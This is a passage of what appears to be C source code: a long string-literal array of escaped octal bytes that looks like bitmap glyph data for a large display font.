\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\360\\360p\\0\\0\\0\\0\\0\\0 pp\\370\"\n  \"\\370\\374\\334\\336\\217\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\16\"\n  \"\\36\\34<xxp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\216\\216\\216\"\n  \"\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0p\\360\\360\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\3\\3\\7\\7\\217\\336\\334\\374\\370\\370pp \\0\\0\\0\\0\\0\\0pxx<\\34\\36\\16\\17\\7\\7\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\70\\70\\70\\70\\70xx\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\340\\360\\360x<\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 qqq \"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\70\\34\\14\\14\\14\\14\\34\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\0\\0\\360\\374\\214\\6\\6\\6\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77x\\340\\300\\201\\203\\203\\203\"\n  \"\\301\\343c\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\370\\370\\370\\70\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\201\\200\\201\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70\\70p\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\70\\70\\70x|\\357\\317\\307\\200\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\70\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360px\\70\\70\\70\\70\\70x\\360\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37><xppppp\"\n  \"ppx<<\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70xp\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\376\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pppppp\"\n  \"x\\70>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\70\\70\\70\\70\\70\\70p\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\"\n  \"\\377\\3\\0\\0\\0\\0\\300\\300\\300\\300\\300\\303\\303\\303\\300\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70xppqq\"\n  \"qqy\\77\\77\\37\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\0\\70\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\70\\70\\70\\70\\70\\70\\70\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177ppp\\0pp\"\n  \"p\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\340\\340\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\77xppppx<\"\n  \"\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\270\\370\\370\\370x\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377x\\70<~\\377\\367\\343\\301\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppp\\0\\0\"\n  \"\\1\\7\\177\\177|ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177pppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\370\\340\\200\\0\\0\\0\\0\\0\\200\\340\\370\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\1\\17\\77\\376\\370\\300\\370\\376\\77\\17\\1\\377\\377\\377\\0\\0\\0\\0\\0pp\\177\\177\\177ppp\\1\\7\\7\\7\"\n  \"\\1ppp\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\360\\340\\200\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\1\\7\\37>\\374\\360\\340\\200\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177ppp\\0\\0\\1\\7\"\n  \"\\17>\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\70\\70\\70\\70\\70\\70p\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\376\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37<\\70ppppp\"\n  \"p\\70<\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70xp\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\340\\340\\340\\340\\340\\340px\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\70\\70\\70\\70\\70\\70p\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\376\\0\\0\\0\\0\\0\\0\\1\\7\\17\\36\\274\\370\\360pppp\"\n  \"p\\70<\\36\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\17\\7\\7\\7\\7\\7\\17\\16\\16\\16\\16\\17\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70x\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377pppp\\360\\360\\370\\274\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppp\\0\\0\"\n  \"\\1\\3\\7\\37~|xpp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360p\\70\\70\\70\\70\\70xp\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\"\n  \"\\37\\36<\\70\\70xpp\\360\\343\\343\\303\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\70\\60ppppp\"\n  \"p\\71\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\370\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xpppx\"\n  \"\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\7\\77\\377\\370\\340\\0\\0\\0\\340\\370\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\177x\\177\"\n  \"\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\370\\370\\370\\70\\70\\70\\70\\0\\0\\0\\70\\70\\70\\70\\370\\370\\370\\70\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\370\\0\\340\\374\\377\\37\\377\\374\\340\\0\\370\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\0\\3\\177\\177\\177\\37\\3\\0\\0\\0\\3\"\n  \"\\37\\177\\177\\177\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70x\\370\\370\\370\\270\\70\\0\\0\\0\\70\\270\\370\\370\\370x\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\203\\307\\357\\376|\\376\\357\\307\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0ppx|\\177\\177wq\\0\\0\\0q\"\n  \"w\\177\\177|xpp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70xx\\370\\370\\270\\70\\0\\0\\0\\70\\270\\370\\370xx\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\7\\17\\77\\374\\370\\374\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177p\"\n  \"ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\70\\70\\70\\70\\70\\70\\370\\370\\370x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\300\\340\\360|>\\37\\7\\3\\201\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0p|~\\177wsqppp\"\n  \"pp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\16\\16\\16\\16\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\37\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\3\\37\\177\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\"\n  \"\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360|>|\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\"\n  \"\\17\\17\\3\\1\\0\\0\\0\\1\\3\\17\\17\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\16\\34\\70p`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\216\"\n  \"\\216\\217\\307\\307\\307\\307\\307\\307\\317\\376\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\177sqqqqq\\71\"\n  \"\\31\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377<\\16\\16\\7\\7\\7\\7\\17\\16>\\374\\370\\340\\0\\0\\0\\0\\0ppp\\177\\177\\177<\\70pppp\"\n  \"ppx<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\36\\16\\17\\7\\7\\7\\7\\17\\16~\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77<xppppp\"\n  \"pp\\70<\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \">\\16\\17\\7\\7\\7\\7\\17\\16>\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xppppx\"\n  \"\\70\\34\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\"\n  \"\\374\\336\\316\\317\\307\\307\\307\\307\\317\\316\\336\\374\\370\\360\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77=yyqqqq\"\n  \"qqqy\\71\\71\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370<\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177pp\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \">\\16\\17\\7\\7\\7\\17\\16>\\377\\377\\377\\7\\7\\7\\0\\0\\0\\0\\0\\0\\3\\17\\37>xppppx\\70\"\n  \"\\36\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70<\\36\\37\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\34\\16\\7\\7\\7\\7\\17\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pp\\0\\0\\0\"\n  \"pp\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177\"\n  \"pppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\7\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\70<\\37\\17\\7\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\300\\340\\367\\377\\77\\37\\17\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177\\1\\3\\7\\17\\177\"\n  \"~|xppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177\"\n  \"pppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\16\\6\\7\\7\\377\\376\\376\\16\\7\\7\\7\\377\\376\\374\\0\\0\\0\\0\\0\\0p\\177\\177\\177pp\\0\\0\\177\\177\\177\"\n  \"pp\\0\\0\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\377\\377\\377\\34\\16\\7\\7\\7\\7\\17\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pp\\0\\0\\0\"\n  \"pp\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  